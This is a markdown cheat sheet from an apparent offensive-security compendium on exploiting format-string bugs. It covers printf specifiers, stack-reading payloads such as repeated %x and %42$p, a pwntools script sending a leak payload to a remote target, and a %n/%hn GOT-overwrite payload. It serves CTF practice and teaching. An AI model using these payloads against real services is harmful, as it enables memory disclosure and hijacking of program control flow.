killchain-compendium/Exploits/Binaries/Format String.md

2.9 KiB

Format String

Parameters

Parameters Type Passed as
%d decimal (int) value
%u unsigned decimal (unsigned int) value
%x hexadecimal (unsigned int) value
%p hexadecimal (unsigned int), nice layout value
%s string ((const) (unsigned) char*) reference
%n write the number of bytes ypu put in, (*int) reference

Offset

  • Read at offset as pointer value at the 42th argument on the stack
%42$s
  • If the pointer at the offset references a string you can dereference by
%42$s

Length of output

  • Padding of the first argument on stack to the given length
%31337x

Read

  • Input %x for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 
  • Do long long hex reading from stack
%llx
  • Select values as string, e.g. the second value
%2$s
  • Another way of reading the pointer is via
%p
  • Read pointer on stack at offset 42
%42$p
from pwn import *

#p = process('./vuln')
p = remote(target_ip, 9006)

payload = b'%14$p||||'                                                                                                         
payload += p32(0x8048000)

p.sendline(payload)
log.info(p.clean())

Write

  • Writing is done via %n
  • An example, GOT overwrite. We want to replace the pointer address
    • Watch out for the PTR from PLT to GOT
objdump -Mintel -d <binary>

[...]
0000000000401060 <printf@plt>:
  401060:	ff 25 ca 2f 00 00    	jmp    QWORD PTR [rip+0x2fca]        # 404030 <printf@GLIBC_2.2.5>
  401066:	68 03 00 00 00       	push   0x3
  40106b:	e9 b0 ff ff ff       	jmp    401020 <_init+0x20>
[...]
  • The PTR derefences 0x404030
  • As an example, the parameter is found at arg 6 on the stack
  • Write the address of a function that cannot be reached into the PLT PTR to GOT through the buffer, so it will execute. The address which should be written is 0x40123b
  • The input is as follows
%64c%6$n<restof address - 67>c   %13$hn
  • 64c is 0x40, rest of address - bytes already + 2 bytes alignment

Tips and Tricks

  • Overwrite GOT when there is no FullRELRO, when it is not read only
  • Find the input argument on the stack. Write AAAA and look out where it is placed on the stack
AAAA%6$p